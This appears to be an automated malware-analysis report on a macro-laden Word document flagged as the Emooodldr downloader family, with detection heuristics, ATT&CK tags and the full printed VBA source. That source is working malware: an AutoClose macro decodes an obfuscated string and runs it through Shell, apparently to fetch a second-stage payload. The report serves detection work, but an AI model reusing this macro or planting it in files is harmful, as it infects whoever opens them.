MALICIOUS
282
Risk Score
Malware Insights
MITRE ATT&CK
T1059.005 Visual Basic
T1566.001 Spearphishing Attachment
The sample is an OOXML document containing VBA macros. The AutoClose macro is present and uses the Shell() function indirectly via Application.Run to execute a deobfuscated string. This string, 'D O Q v n b L Z L k Q v v e J t t S W f B f W T L 6 D n O z B f T b 9 6 D t A N t O 6 G b e Q e 1 v D n c n T 9', when deobfuscated by the `reposed` function, results in a command that is likely intended to download and execute a second-stage payload. The ClamAV detection 'Doc.Malware.Emooodldr-6711604-0' strongly suggests the Emooodldr family.
Heuristics 6
-
ClamAV: Doc.Malware.Emooodldr-6711604-0 critical CLAMAV_DETECTIONClamAV detected this file as malware: Doc.Malware.Emooodldr-6711604-0
-
VBA project inside OOXML medium 3 related findings OOXML_VBADocument contains a VBA project — VBA macros present
-
Shell() call in VBA critical OLE_VBA_SHELLShell() call in VBA
-
Auto_Close macro high OLE_VBA_AUTOCLOSEAuto_Close macro
-
VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXECCompiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
-
Embedded URL info EMBEDDED_URLOne or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.URL http://schemas.microsoft.com/office/word/2010/wordprocessingCanvas In document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/drawing/2014/chartexIn document text (OOXML body / shared strings)
- http://schemas.openxmlformats.org/markup-compatibility/2006In document text (OOXML body / shared strings)
- http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
- http://schemas.openxmlformats.org/officeDocument/2006/mathIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingIn document text (OOXML body / shared strings)
- http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingIn document text (OOXML body / shared strings)
- http://schemas.openxmlformats.org/wordprocessingml/2006/mainIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2010/wordmlIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2012/wordmlIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2015/wordml/symexIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2010/wordprocessingGroupIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2010/wordprocessingInkIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2006/wordmlIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2010/wordprocessingShapeIn document text (OOXML body / shared strings)
Extracted artifacts 2
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source from OOXML) | 1992 bytes |
SHA-256: b52ceae7026d011ab1a64bcf417a05502086afa34827051719b21becf1c89bcc |
|||
Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Function reposed(misasperse)
plowman = Array("n", "b", "L", "J", "e", "1", "E", "v", "T", "k", "S", "B", "9", "f", "Z", "N", "A", "Q", "6", "D", "O", "c", "t", "", "W", "z", "G")
subjugation = Array("a", ".", "e", ":", "p", "?", "=", "t", "w", " ", "i", "d", "c", "q", "x", "U", "N", "h", "o", "m", "s", "b", "/", "u", "j", "n", "f")
seedier = vbNullString
For Each apiculate In misasperse
attorn = transudations(apiculate, plowman)
If attorn > -1 Then
seedier = subjugation(attorn) + seedier
End If
Next
reposed = StrReverse(seedier)
End Function
Public Function transudations(ineluctability, delicioso)
spent = 5981
condemners = 8041
For spent = 0 To UBound(delicioso)
If delicioso(spent) = ineluctability Then
condemners = spent
End If
Next
If condemners = 8041 Then
condemners = -1
End If
transudations = condemners
End Function
Sub AutoClose()
misasperse = Array("D", "O", "Q", "v", "n", "b", "L", "Z", "L", "k", "Q", "v", "v", "e", "J", "t", "t", "S", "W", "f", "", "B", "f", "W", "T", "L", "6", "D", "n", "O", "z", "B", "f", "T", "b", "9", "6", "D", "t", "A", "N", "t", "O", "6", "G", "b", "e", "Q", "e", "1", "", "v", "D", "n", "E", "c", "n", "T", "9")
rusma = reposed(misasperse)
Application.Run "pistol", (rusma)
End Sub
Private Sub pistol(chiropters)
incisure = 909
operative = True
While operative
unopposed = incisure + 611
If unopposed - incisure > 7 Then
devotionalist = hause + "ll"
Call VBA.Shell(chiropters, vbNormalFocus - 1)
operative = False
End If
Wend
End Sub
|
|||
vbaProject_00.bin |
vba-project | OOXML VBA project: word/vbaProject.bin | 11776 bytes |
SHA-256: 9fed52be9730560f82cd833c29ca4e3b9203f8d4a339d7428c76432f2f01a679 |
|||
|
Detection
ClamAV:
Doc.Malware.Emooodldr-6711604-0
Obfuscation or payload:
unlikely
|
|||
Open this report in the interactive analyzer, or submit your own file for analysis.